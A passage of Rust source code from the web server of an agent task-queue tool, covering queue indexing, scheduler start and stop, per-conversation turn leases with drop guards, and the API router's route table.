922            monitor: Arc::new(SharedMonitor::new()),
923        }
924    }
925
926    /// Refresh metadata on every lookup, including external-process writes. Only
927    /// changed records are parsed. Never publish a partial scan as an empty set.
928    fn indexed_tasks(&self) -> ApiResult<Vec<Arc<TaskRelation>>> {
929        let mut index = self
930            .monitor
931            .queue_index
932            .lock()
933            .unwrap_or_else(PoisonError::into_inner);
934        let entries = match std::fs::read_dir(self.queue.root()) {
935            Ok(entries) => entries,
936            Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
937                index.records.clear();
938                return Ok(Vec::new());
939            }
940            Err(e) => return Err(anyhow::Error::from(e).into()),
941        };
942        let mut seen = HashSet::new();
943        for entry in entries {
944            let path = entry.map_err(anyhow::Error::from)?.path();
945            if path.extension().is_none_or(|ext| ext != "json") {
946                continue;
947            }
948            let Some(id) = path.file_stem().and_then(|s| s.to_str()) else {
949                continue;
950            };
951            let stamp = file_identity(&path).map_err(anyhow::Error::from)?;
952            seen.insert(id.to_owned());
953            // On platforms without inode/ctime, re-read rather than trust a
954            // same-size replacement with a preserved modification timestamp.
955            if !cfg!(unix) || index.records.get(id).is_none_or(|(old, _)| *old != stamp) {
956                let Ok(task) = self.queue.get(id) else {
957                    // Isolate an unreadable record, as Queue::list does. Keep
958                    // its last known relationship so a lookup of THAT task
959                    // still fails on the authoritative read below. Never let
960                    // unrelated corruption disable every run and conversation.
961                    // Counts must not present its previous status as current.
962                    if let Some((_, record)) = index.records.get_mut(id) {
963                        Arc::make_mut(record).status = None;
964                    }
965                    continue;
966                };
967                #[cfg(test)]
968                {
969                    index.reparsed += 1;
970                }
971                if file_identity(&path).map_err(anyhow::Error::from)? != stamp {
972                    return Err(ApiError::conflict("Queue changed during read; retry"));
973                }
974                index
975                    .records
976                    .insert(id.to_owned(), (stamp, Arc::new(TaskRelation::from(task))));
977            }
978        }
979        index.records.retain(|id, _| seen.contains(id));
980        let mut tasks: Vec<_> = index
981            .records
982            .values()
983            .map(|(_, task)| task.clone())
984            .collect();
985        tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
986        Ok(tasks)
987    }
988
989    fn find_task_for_run(&self, run_id: &str) -> ApiResult<Option<Task>> {
990        let Some(record) = self
991            .indexed_tasks()?
992            .into_iter()
993            .find(|task| task.runs.iter().any(|id| id == run_id))
994        else {
995            return Ok(None);
996        };
997        let task = self.queue.get(&record.id)?;
998        if !task.runs.iter().any(|id| id == run_id) {
999            return Err(ApiError::conflict("Task relationship changed; retry"));
1000        }
1001        Ok(Some(task))
1002    }
1003
1004    fn find_tasks_for_talk(&self, talk_id: &str) -> ApiResult<Vec<Task>> {
1005        self.indexed_tasks()?
1006            .into_iter()
1007            .filter(|task| {
1008                task.chat.as_deref() == Some(talk_id)
1009                    || matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
1010            })
1011            .map(|record| {
1012                let task = self.queue.get(&record.id)?;
1013                if task.chat.as_deref() != Some(talk_id)
1014                    && !matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
1015                {
1016                    return Err(ApiError::conflict("Task relationship changed; retry"));
1017                }
1018                Ok(task)
1019            })
1020            .collect()
1021    }
1022
1023    /// The operator's own state: `<home>/queue`, `<home>/questions`,
1024    /// `<home>/talks`, `<home>/runs`.
1025    pub fn open(repo: PathBuf) -> Self {
1026        Self::new(
1027            Queue::open(),
1028            Questions::open(),
1029            Talks::open(),
1030            run::runs_root(),
1031            run::home(),
1032            repo,
1033        )
1034    }
1035
1036    /// The merge mode the loop should use, as the command line gave it.
1037    ///
1038    /// A builder step rather than a seventh parameter on [`Ui::new`], because
1039    /// the override is a property of how this process was invoked and not of
1040    /// where its state lives - which is all the tests that build a `Ui` by
1041    /// hand are saying.
1042    #[must_use]
1043    pub fn with_merge(mut self, merge: Option<String>) -> Self {
1044        self.merge = merge;
1045        self
1046    }
1047
1048    /// The machine-config file the settings screen writes, when it is not
1049    /// [`Config::machine_layer`] (tests).
1050    #[cfg(test)]
1051    #[must_use]
1052    fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
1053        self.machine_config = path;
1054        self
1055    }
1056
1057    /// Where the runs' worktrees live, when it is not the default.
1058    ///
1059    /// The health view sizes this directory, so a test that leaves it at the
1060    /// default would be measuring the operator's own machine.
1061    #[must_use]
1062    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
1063        self.worktrees_root = root;
1064        self
1065    }
1066
1067    /// Point the loop at something other than [`launch_daemon`].
1068    ///
1069    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
1070    /// this crate may start the real loop.
1071    #[cfg(test)]
1072    #[must_use]
1073    fn with_launch(mut self, launch: Launch) -> Self {
1074        self.launch = launch;
1075        self
1076    }
1077
1078    /// Install a [`BusyQueueGate`] for the next pass through the busy
1079    /// branch's queued-draft write, replacing any earlier one.
1080    ///
1081    /// A setter on `&self` rather than a `with_*` builder consumed once,
1082    /// because a test that drives the busy branch more than once (as
1083    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
1084    /// to build confidence the interleaving is handled deterministically and
1085    /// not just on a lucky run) needs a fresh channel pair each time, on the
1086    /// one `Ui` it already built its temp directories around.
1087    #[cfg(test)]
1088    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
1089        *self
1090            .busy_queue_gate
1091            .lock()
1092            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
1093    }
1094
1095    /// Prevent a restart from ending an already accepted send between its
1096    /// durable transcript write and detached worker reservation.
1097    fn begin_admission(&self) -> ApiResult<AdmissionGuard> {
1098        let guard = Arc::clone(&self.admissions)
1099            .try_read_owned()
1100            .map_err(|_| ApiError::conflict("web restart in progress; retry this message"))?;
1101        if *guard {
1102            return Err(ApiError::conflict(
1103                "web restart in progress; retry this message",
1104            ));
1105        }
1106        Ok(guard)
1107    }
1108
1109    /// Start a scheduler that outlives this web process.
1110    async fn start_detached_loop(&self) -> ApiResult<()> {
1111        if self
1112            .upgrade_spawned
1113            .load(std::sync::atomic::Ordering::SeqCst)
1114        {
1115            return Err(ApiError::conflict("an upgrade is in progress"));
1116        }
1117        let reading = daemon::read_status(&self.home);
1118        if let Some(other) = Foreign::of(reading.as_ref()) {
1119            return Err(ApiError::conflict(format!(
1120                "{} is still running a legacy scheduler; finish or park it before starting the independent scheduler.",
1121                other.who()
1122            )));
1123        }
1124        let jobs = crate::worker::active(&self.home).map_err(ApiError::from)?;
1125        let control = crate::worker::control(&self.home, "scheduler").map_err(ApiError::from)?;
1126        let scheduler_running = jobs.iter().any(|job| job.kind == "scheduler")
1127            || reading.is_some_and(|reading| {
1128                reading.worker_protocol == Some(1) && reading.running(Timestamp::now())
1129            });
1130        if control.is_some() && scheduler_running {
1131            return Err(ApiError::conflict(
1132                "the scheduler is still stopping; retry Start after it has stopped",
1133            ));
1134        }
1135        if !jobs.iter().any(|job| job.kind == "scheduler") {
1136            let available =
1137                crate::worker::try_lease(&self.home, "scheduler").map_err(ApiError::from)?;
1138            if available.is_none() {
1139                return Err(ApiError::conflict(
1140                    "the scheduler is still running or stopping; retry after its transition completes",
1141                ));
1142            }
1143            drop(available);
1144        }
1145        let opts = daemon::Opts {
1146            repo: self.repo.clone(),
1147            merge: self.merge.clone(),
1148            worktrees_root: Some(self.worktrees_root.clone()),
1149            ..daemon::Opts::default()
1150        };
1151        daemon::spawn_detached(&self.home, &opts)
1152            .await
1153            .map_err(ApiError::from)?;
1154        let mut state = self.lock_loop();
1155        state.last_error = None;
1156        state.rev += 1;
1157        Ok(())
1158    }
1159
1160    /// Start the loop in this process, or say who already has one.
1161    ///
1162    /// `foreign` is passed in rather than read here so that one request makes
1163    /// one judgement about who owns the loop: reading the status file again
1164    /// inside this function could refuse a start for a daemon the same
1165    /// response then reports as gone.
1166    #[cfg(test)]
1167    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
1168        if let Some(other) = foreign {
1169            return Err(ApiError::conflict(format!(
1170                "{} is already running the loop, so this one will not start a \
1171                 second: two loops on one queue race for the same claims and \
1172                 burn the agent quota twice over. Stop it where it was \
1173                 started.",
1174                other.who()
1175            )));
1176        }
1177        let mut state = self.lock_loop();
1178        if self
1179            .upgrade_spawned
1180            .load(std::sync::atomic::Ordering::SeqCst)
1181        {
1182            return Err(ApiError::conflict("an upgrade is in progress"));
1183        }
1184        if state.live.as_ref().is_some_and(Live::alive) {
1185            return Err(ApiError::conflict(format!(
1186                "this magi web process (pid {}) is already running the loop",
1187                std::process::id()
1188            )));
1189        }
1190
1191        let stop = daemon::Stop::new();
1192        // The CLI's own defaults for everything the UI has no opinion about:
1193        // one poll interval and one retry budget, so a loop started from a
1194        // phone behaves exactly like the `magi serve` it replaces.
1195        let opts = daemon::Opts {
1196            repo: self.repo.clone(),
1197            merge: self.merge.clone(),
1198            // Whatever this `Ui` already reports worktree sizes and folds
1199            // against (see `with_worktrees_root`) is what the loop it starts
1200            // must reclaim orphaned worktrees under too - two different
1201            // opinions about where the worktree bay is would leave the
1202            // janitor pass reclaiming a directory nothing else on this
1203            // process is even looking at.
1204            worktrees_root: Some(self.worktrees_root.clone()),
1205            ..daemon::Opts::default()
1206        };
1207        let launch = self.launch;
1208        let looping = Arc::clone(&self.looping);
1209        let handle = tokio::spawn({
1210            let opts = opts.clone();
1211            let stop = stop.clone();
1212            async move {
1213                let failure = match launch(opts, stop).await {
1214                    Ok(()) => None,
1215                    Err(e) => Some(format!("{e:#}")),
1216                };
1217                match &failure {
1218                    Some(why) => tracing::error!("the loop stopped: {why}"),
1219                    None => tracing::info!("the loop stopped"),
1220                }
1221                // Recorded by the task itself rather than reaped by whichever
1222                // request happens next, so `loop_rev` moves the moment the
1223                // loop ends and a phone with the change stream open learns
1224                // that it did. Clearing `live` drops this task's own handle,
1225                // which only detaches it, and is the last thing it does.
1226                let mut state = lock_or_recover(&looping);
1227                state.live = None;
1228                state.last_error = failure;
1229                state.rev += 1;
1230            }
1231        });
1232        tracing::info!(
1233            "the loop is now running in this process: repo {}, merge {}",
1234            opts.repo.display(),
1235            opts.merge.as_deref().unwrap_or("as the config says")
1236        );
1237        state.live = Some(Live { stop, handle, opts });
1238        // A fresh start is not the place to keep showing why the last one
1239        // died; the operator has read it and pressed the button anyway.
1240        state.last_error = None;
1241        state.rev += 1;
1242        Ok(())
1243    }
1244
1245    /// Ask the loop to stop, without waiting for it to get there.
1246    ///
1247    /// Idempotent: a second tap on stop is not an error, because the first one
1248    /// leaves the loop running for as long as the run in flight takes and the
1249    /// operator has no way to tell a slow stop from a lost one.
1250    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
1251        if let Some(other) = foreign {
1252            return Err(ApiError::conflict(format!(
1253                "the loop belongs to {}, and this process cannot stop it - \
1254                 stop it where it was started. A button that silently did \
1255                 nothing would be worse than this refusal.",
1256                other.who()
1257            )));
1258        }
1259        #[cfg(not(test))]
1260        {
1261            daemon::request_control(
1262                &self.home,
1263                if park {
1264                    crate::worker::Control::Park
1265                } else {
1266                    crate::worker::Control::Stop
1267                },
1268            )
1269            .map_err(ApiError::from)?;
1270            self.lock_loop().rev += 1;
1271            Ok(())
1272        }
1273        #[cfg(test)]
1274        {
1275            let mut state = self.lock_loop();
1276            let Some(live) = state.live.as_ref() else {
1277                return Ok(());
1278            };
1279            // A park upgrades a stop that has already been asked for: the
1280            // operator who tapped "stop" and then realised the run has an hour
1281            // left must not have to restart the loop to change their mind.
1282            if live.stop.stopped() && (!park || live.stop.parking()) {
1283                return Ok(());
1284            }
1285            if park {
1286                live.stop.park(crate::run::ParkCause::Operator);
1287                tracing::info!(
1288                    "the loop was asked to park; the run stops at its next node boundary"
1289                );
1290            } else {
1291                live.stop.stop();
1292                tracing::info!("the loop was asked to stop; a run in flight is finished first");
1293            }
1294            state.rev += 1;
1295            Ok(())
1296        }
1297    }
1298
1299    /// The loop as both `/api/loop` and `/api/health` report it.
1300    ///
1301    /// `reading` is the caller's single read of `<home>/daemon.json`, because
1302    /// health answers with this view *and* the daemon object beside it: one
1303    /// read per response is what stops a single answer naming a foreign owner
1304    /// in one field and calling the loop free in the other.
1305    #[cfg(not(test))]
1306    fn try_loop_view(&self, reading: Option<daemon::Reading>) -> ApiResult<LoopView> {
1307        let jobs = crate::worker::active(&self.home).map_err(|error| {
1308            ApiError::internal(format!("cannot read independent worker state: {error:#}"))
1309        })?;
1310        Ok(self.runtime_loop_view(reading, &jobs))
1311    }
1312
1313    #[cfg(test)]
1314    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
1315        let state = self.lock_loop();
1316        // A loop that panicked never recorded its own end, so the handle -
1317        // not the presence of the record - is what "running" means.
1318        let live = state.live.as_ref().filter(|live| live.alive());
1319        LoopView {
1320            running: live.is_some(),
1321            stopping: live.is_some_and(|live| live.stop.finishing()),
1322            parking: live.is_some_and(|live| live.stop.parking()),
1323            owned: live.is_some(),
1324            repo: live
1325                .map_or(&self.repo, |live| &live.opts.repo)
1326                .display()
1327                .to_string(),
1328            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
1329            last_error: state.last_error.clone(),
1330            daemon: DaemonView::of(reading),
1331        }
1332    }
1333
1334    /// Reuse one active-job snapshot for both ownership and public health.
1335    fn runtime_loop_view(
1336        &self,
1337        reading: Option<daemon::Reading>,
1338        jobs: &[crate::worker::Job],
1339    ) -> LoopView {
1340        let scheduler = jobs.iter().find(|job| job.kind == "scheduler");
1341        let reporting = reading
1342            .as_ref()
1343            .is_some_and(|r| r.running(Timestamp::now()));
1344        let managed = scheduler.is_some()
1345            || (reporting
1346                && reading
1347                    .as_ref()
1348                    .is_some_and(|r| r.worker_protocol == Some(1)));
1349        let control = crate::worker::control(&self.home, "scheduler")
1350            .ok()
1351            .flatten();
1352        // Foreground serve also persists its options, so ownership never
1353        // causes us to substitute the web process's repository for its own.
1354        let persisted = if managed && scheduler.is_none() {
1355            std::fs::read(self.home.join("scheduler-options.json"))
1356                .ok()
1357                .and_then(|bytes| serde_json::from_slice::<daemon::Opts>(&bytes).ok())
1358        } else {
1359            None
1360        };
1361        let repo = scheduler
1362            .and_then(|job| job.payload.get("repo"))
1363            .and_then(serde_json::Value::as_str)
1364            .map(str::to_owned)
1365            .or_else(|| {
1366                persisted
1367                    .as_ref()
1368                    .map(|opts| opts.repo.display().to_string())
1369            })
1370            .unwrap_or_else(|| self.repo.display().to_string());
1371        let merge = match scheduler {
1372            Some(job) => job
1373                .payload
1374                .get("merge")
1375                .and_then(serde_json::Value::as_str)
1376                .map(str::to_owned),
1377            None => persisted.map_or_else(|| self.merge.clone(), |opts| opts.merge),
1378        };
1379        LoopView {
1380            running: managed || reporting,
1381            stopping: managed && matches!(control, Some(crate::worker::Control::Stop)),
1382            parking: matches!(control, Some(crate::worker::Control::Park))
1383                && jobs.iter().any(|job| job.kind == "task"),
1384            owned: managed,
1385            repo,
1386            merge,
1387            last_error: self.lock_loop().last_error.clone(),
1388            daemon: DaemonView::of(reading),
1389        }
1390    }
1391
1392    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
1393    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
1394        lock_or_recover(&self.looping)
1395    }
1396
1397    /// In-flight admission, detached startup, or a cross-process turn lease.
1398    fn is_thinking(&self, id: &str) -> bool {
1399        self.talk_turns
1400            .lock()
1401            .is_ok_and(|turns| turns.live.contains(id))
1402            // Another process (the CLI) can hold the turn through the
1403            // on-disk lease.
1404            || self.talks.turn_held(id)
1405            || crate::chat_worker::turn_worker_active(&self.talks, id)
1406    }
1407
1408    /// 表示専用の観測。ローカルの受付処理やワーカーストアの書き込みを待たない。
1409    /// 送信・アップグレードなどの判断には [`Ui::is_thinking`] を使う。
1410    fn is_thinking_observed(&self, id: &str) -> bool {
1411        self.talk_turns.try_lock().map_or_else(
1412            // Admission may itself be waiting on the worker store. Display a
1413            // conservative busy state rather than waiting behind that writer.
1414            |error| matches!(error, std::sync::TryLockError::WouldBlock),
1415            |turns| turns.live.contains(id),
1416        )
1417            // Another process (the CLI) can hold the turn through the
1418            // on-disk lease.
1419            || self.talks.turn_held(id)
1420            || crate::consult::turn_worker_observed(&self.talks, id)
1421    }
1422
1423    /// Claim the right to run one turn in a talk, or report that it is busy.
1424    ///
1425    /// A talk is strictly turn-based: the agent is resumed with the
1426    /// conversation it already has, so two turns running at once would resume
1427    /// the same session twice and append their answers in whatever order the
1428    /// two CLIs finished in. The operator would come back to a transcript
1429    /// with two half-turns interleaved, which is unreadable and, worse,
1430    /// unfixable - there is no undo for a persisted turn.
1431    ///
1432    /// A busy result is queued as a durable draft by [`talk_say`], rather than
1433    /// starting a second CLI invocation for the same session.
1434    ///
1435    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
1436    /// taken to test-and-insert and released before the agent is spawned. The
1437    /// returned guard removes the id on drop, which is what makes a panicking
1438    /// handler or a phone that walks out of range leave the talk usable - axum
1439    /// drops the handler future when the client disconnects, and without the
1440    /// guard that talk would be wedged until the server restarted.
1441    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1442        self.claim_talk_turn(id, false)
1443    }
1444
1445    /// Claim a turn after durably queueing a draft, or notify its current
1446    /// owner that a drainer must recheck before it releases the slot.
1447    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1448        self.claim_talk_turn(id, true)
1449    }
1450
1451    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
1452        let mut live = self
1453            .talk_turns
1454            .lock()
1455            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1456        if crate::chat_worker::turn_worker_active(&self.talks, id) {
1457            if queued {
1458                *live.queued.entry(id.to_owned()).or_default() += 1;
1459            }
1460            return Ok(None);
1461        }
1462        let inserted = live.live.insert(id.to_owned());
1463        // The on-disk lease is the cross-process half of the gate. Taken
1464        // second, and undone if lost, so `live` never claims a turn the lease
1465        // refused.
1466        let lease = if inserted {
1467            match self.talks.claim_turn(id) {
1468                Ok(Some(lease)) => Some(lease),
1469                Ok(None) => {
1470                    live.live.remove(id);
1471                    None
1472                }
1473                Err(e) => {
1474                    live.live.remove(id);
1475                    return Err(ApiError::from(e));
1476                }
1477            }
1478        } else {
1479            None
1480        };
1481        if lease.is_none() {
1482            if queued {
1483                // A queued write has landed before this busy check.
1484                // `drain_loop` uses this generation to recheck after its
1485                // off-thread disk read, so it cannot release a turn between
1486                // this check and the write.
1487                *live.queued.entry(id.to_owned()).or_default() += 1;
1488            }
1489            return Ok(None);
1490        }
1491        Ok(Some(TalkTurnGuard {
1492            talk: id.to_owned(),
1493            turns: Arc::clone(&self.talk_turns),
1494            released: false,
1495            lease,
1496        }))
1497    }
1498
1499    /// Decide whether a free talk may start a new immediate turn while its
1500    /// claim lock is held. A persisted draft without an owner is recovery
1501    /// state, not a busy turn: two simultaneous `/say` requests must both
1502    /// leave it untouched rather than one of them appending to it.
1503    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
1504        let mut live = self
1505            .talk_turns
1506            .lock()
1507            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1508        // A detached worker owns its turn across web process replacement.
1509        if live.live.contains(id) || crate::chat_worker::turn_worker_active(&self.talks, id) {
1510            return Ok(TalkTurnStart::Busy);
1511        }
1512        let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
1513            return Ok(TalkTurnStart::Foreign);
1514        };
1515        // A refused `Pending` below drops the lease again.
1516        let talk = self.talks.get(id).map_err(ApiError::from)?;
1517        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
1518            return Ok(TalkTurnStart::Pending);
1519        }
1520        live.live.insert(id.to_owned());
1521        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
1522            talk: id.to_owned(),
1523            turns: Arc::clone(&self.talk_turns),
1524            released: false,
1525            lease: Some(lease),
1526        }))
1527    }
1528
1529    fn queued_generation(&self, id: &str) -> u64 {
1530        let live = self
1531            .talk_turns
1532            .lock()
1533            .unwrap_or_else(PoisonError::into_inner);
1534        live.queued.get(id).copied().unwrap_or(0)
1535    }
1536
1537    /// Automatic updates begin only when execution and chat workers are idle.
1538    /// A worker racing this snapshot survives the restart on its own executable.
1539    fn auto_upgrade_busy(&self) -> bool {
1540        #[cfg(test)]
1541        if self
1542            .lock_loop()
1543            .live
1544            .as_ref()
1545            .is_some_and(|live| live.stop.busy_now())
1546        {
1547            return true;
1548        }
1549        crate::worker::active(&self.home)
1550            .map_or(true, |jobs| jobs.iter().any(|job| job.kind != "scheduler"))
1551            || !daemon::current_work(&self.home, Timestamp::now()).is_empty()
1552            || !self
1553                .resuming
1554                .lock()
1555                .unwrap_or_else(PoisonError::into_inner)
1556                .is_empty()
1557            || !self
1558                .talk_turns
1559                .lock()
1560                .unwrap_or_else(PoisonError::into_inner)
1561                .live
1562                .is_empty()
1563            || self
1564                .talks
1565                .list()
1566                .iter()
1567                .any(|talk| self.is_thinking(&talk.id))
1568    }
1569
1570    /// Claim a run for a resume, on the same reasoning as
1571    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
1572    /// disconnected phone does not wedge the run until the server restarts.
1573    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
1574        let mut live = self
1575            .resuming
1576            .lock()
1577            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
1578        if self
1579            .upgrade_spawned
1580            .load(std::sync::atomic::Ordering::SeqCst)
1581        {
1582            return Err(ApiError::conflict("an upgrade is in progress"));
1583        }
1584        if !live.insert(id.to_owned()) {
1585            return Err(ApiError::conflict(format!(
1586                "run {id} is already being resumed"
1587            )));
1588        }
1589        Ok(ResumeGuard {
1590            run: id.to_owned(),
1591            resuming: Arc::clone(&self.resuming),
1592        })
1593    }
1594
1595    /// The router, with this state baked in.
1596    ///
1597    /// The three front-end files get one explicit route each rather than a
1598    /// path parameter, so there is no traversal surface to get wrong: the set
1599    /// of servable paths is the set written here. The asset route below is the
1600    /// one exception and the only place in this server where a client names a
1601    /// file; it is why [`valid_asset_name`] is checked before a path is built.
1602    pub fn router(self) -> Router {
1603        Arc::new(self).shared_router()
1604    }
1605
1606    fn shared_router(self: Arc<Self>) -> Router {
1607        Router::new()
1608            .route("/", get(index))
1609            .route("/app.css", get(app_css))
1610            .route("/app.js", get(app_js))
1611            .route("/api/health", get(health))
1612            .route("/api/references", post(id_links::resolve_text))
1613            .route("/api/loop", get(loop_get).post(loop_post))
1614            .route("/api/upgrade", post(upgrade_post))
1615            .route("/api/runs", get(runs_list))
1616            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
1617            .route("/api/runs/{id}/progress", get(run_progress))
1618            .route("/api/runs/{id}/core", get(run_core))
1619            .route("/api/runs/{id}/report", get(run_report))
1620            .route("/api/runs/{id}/report.json", get(run_report_json))
1621            .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
1622            .route("/api/runs/{id}/seat-evidence", get(run_seat_evidence))
1623            .route("/api/runs/{id}/seat-evidence/{head}", get(run_seat_diff))
1624            .route("/api/runs/{id}/fold", post(run_fold))
1625            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
1626            .route("/api/runs/{id}/resume", post(run_resume))
1627            .route("/api/queue", get(queue_list))
1628            .route("/api/queue/page", get(queue_page))
1629            .route("/api/search", get(search_get))
1630            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
1631            .route("/api/queue/{id}/core", get(task_core))
1632            .route("/api/stats", get(stats_get))
1633            .route("/api/stats/queue", get(stats_queue))
1634            .route("/api/repos", get(repos_list))
1635            .route("/api/settings", get(settings_get))
1636            .route("/api/settings/roles", put(settings_put_roles))
1637            .route("/api/queue/{id}/hold", post(queue_hold))
1638            .route("/api/queue/{id}/reassign", post(queue_reassign))
1639            .route("/api/queue/{id}/release", post(queue_release))
1640            .route("/api/queue/{id}/priority", post(queue_priority))
1641            .route("/api/queue/{id}/urgent", post(queue_urgent))
1642            .route("/api/queue/{id}/implementers", post(queue_implementers))
1643            .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
1644            .route("/api/queue/{id}/edit", post(queue_edit))
1645            .route("/api/queue/{id}/done", post(queue_done))
1646            .route("/api/decisions", get(decisions_list))
1647            .route("/api/decisions/{id}", get(decision_get))
1648            .route("/api/questions", get(questions_list))
1649            .route("/api/questions/core", get(questions_core))
1650            .route("/api/questions/origins", get(question_origins))
1651            .route("/api/questions/{id}/answer", post(question_answer))
1652            .route("/api/questions/{id}/say", post(question_say))
1653            .route("/api/questions/{id}/consult", post(question_consult))
1654            .route("/api/questions/{id}/panel", get(question_panel))
1655            // The same asset, reachable from inside the panel by its bare
1656            // filename. A document served at `.../panel` resolves `shot.png`
1657            // to `.../shot.png`, which is not the asset route, so a panel
1658            // written the way its author was told to write it showed broken
1659            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
1660            // it - deliberately - so the fix is that the panel's own URL ends
1661            // in a filename and its siblings are the assets.
1662            .route("/api/questions/{id}/panel/index.html", get(question_panel))
1663            .route("/api/questions/{id}/panel/{name}", get(question_asset))
1664            .route("/api/questions/{id}/asset/{name}", get(question_asset))
1665            .route("/api/notifications", get(notifications_list))
1666            .route("/api/notifications/read-all", post(notifications_read_all))
1667            .route("/api/notifications/{id}/read", post(notification_read))
1668            .route(
1669                "/api/notifications/{id}/dismiss",
1670                post(notification_dismiss),
1671            )
1672            .route("/api/talks", get(talks_list).post(talk_post))
1673            .route("/api/talks/page", get(talks_page))
1674            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
1675            .route("/api/talks/{id}/core", get(talk_core))
1676            .route("/api/talks/{id}/sections", get(talk_sections))
1677            .route("/api/talks/{id}/say", post(talk_say))
1678            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
1679            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
1680            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
1681            .route("/api/talks/{id}/agent", post(talk_agent))
1682            .route("/api/talks/{id}/persona", post(talk_persona))
1683            .route("/api/talks/{id}/implementers", post(talk_implementers))
1684            .route("/api/talks/{id}/close", post(talk_close))
1685            .route("/api/talks/{id}/reopen", post(talk_reopen))
1686            // `DefaultBodyLimit` is raised only on this one route - every
1687            // other route on this server answers in a few kilobytes, and
1688            // widening the crate-wide default for all of them just because
1689            // one accepts a picture would let any other handler be handed
1690            // a multi-megabyte body it never expects.
1691            .route(
1692                "/api/talks/{id}/attachments",
1693                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
1694            )
1695            .route(
1696                "/api/talks/{id}/attachments/{att}",
1697                get(talk_attachment_get),
1698            )
1699            .route("/api/talks/{id}/avatar", get(talk_avatar))
1700            .route("/avatars/operator.svg", get(operator_avatar))
1701            .route(
1702                "/api/avatar-settings",
1703                get(avatar_settings_get)
1704                    .put(avatar_settings_put)
1705                    .delete(avatar_settings_delete),
1706            )
1707            .route("/avatars/persona", get(settings_persona_avatar))
1708            .route("/avatars/magi", get(magi_avatar))
1709            .route(
1710                "/api/magi-icon",
1711                get(magi_icon_get)
1712                    .put(magi_icon_put)
1713                    .delete(magi_icon_delete),
1714            )
1715            .route("/api/events", get(events))
1716            .with_state(self)
1717    }
1718}
1719
1720/// One talk's turn slot, released on drop.
1721///
1722/// A guard rather than a matching `remove` at the end of the handler, because
1723/// the handler has several early returns and one `await` that can be cancelled
1724/// out from under it. A leaked id is a talk nobody can talk to again.
1725#[derive(Debug)]
1726struct TalkTurnGuard {
1727    talk: String,
1728    turns: Arc<Mutex<TalkTurns>>,
1729    released: bool,
1730    /// The cross-process half of the slot; dropped with the guard.
1731    lease: Option<crate::talk::TurnLease>,
1732}
1733
1734/// In-memory turn ownership plus the queue generation observed by a drainer.
1735///
1736/// The generation changes only after a durable queued draft is written and its
1737/// caller finds the turn busy. That lets the loop run filesystem work outside
1738/// this mutex while still making the final empty-check/release atomic with a
1739/// concurrent queue handoff.
1740#[derive(Debug, Default)]
1741struct TalkTurns {
1742    live: HashSet<String>,
1743    queued: HashMap<String, u64>,
1744}
1745
1746/// The atomic initial-state decision made by
1747/// [`Ui::begin_talk_turn_unless_pending`].
1748enum TalkTurnStart {
1749    Claimed(TalkTurnGuard),
1750    Busy,
1751    /// Another process holds the turn lease. Unlike `Busy` there is no local
1752    /// drain loop that would answer a queued draft, so the caller refuses.
1753    Foreign,
1754    Pending,
1755}
1756
1757impl TalkTurnGuard {
1758    #[cfg(test)]
1759    /// Does this guard still own the on-disk lease? A transient failure to
1760    /// check counts as owning: the next beat decides. A guard that lost it
1761    /// must not start another turn on the same session.
1762    fn owns(&self) -> bool {
1763        self.lease
1764            .as_ref()
1765            .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1766    }
1767
1768    #[cfg(test)]
1769    /// `talk::respond` while renewing the on-disk lease, so a turn longer
1770    /// than the lease's TTL still reads as held to other processes.
1771    async fn respond(
1772        &self,
1773        talk: &mut Talk,
1774        talks: &Talks,
1775        cfg: &Config,
1776        text: &str,
1777    ) -> anyhow::Result<()> {
1778        let lease = self
1779            .lease
1780            .as_ref()
1781            .context("the turn guard no longer holds its lease")?;
1782        talk::respond(lease, talk, talks, cfg, text).await
1783    }
1784
1785    /// Release while the caller already holds the claim mutex, closing the
1786    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
1787    fn release(mut self, live: &mut TalkTurns) {
1788        // The on-disk lease goes first: while `live` still names the talk, no
1789        // local claim can start, so nobody observes the slot free but the
1790        // lease held.
1791        self.lease = None;
1792        live.live.remove(&self.talk);
1793        live.queued.remove(&self.talk);
1794        self.released = true;
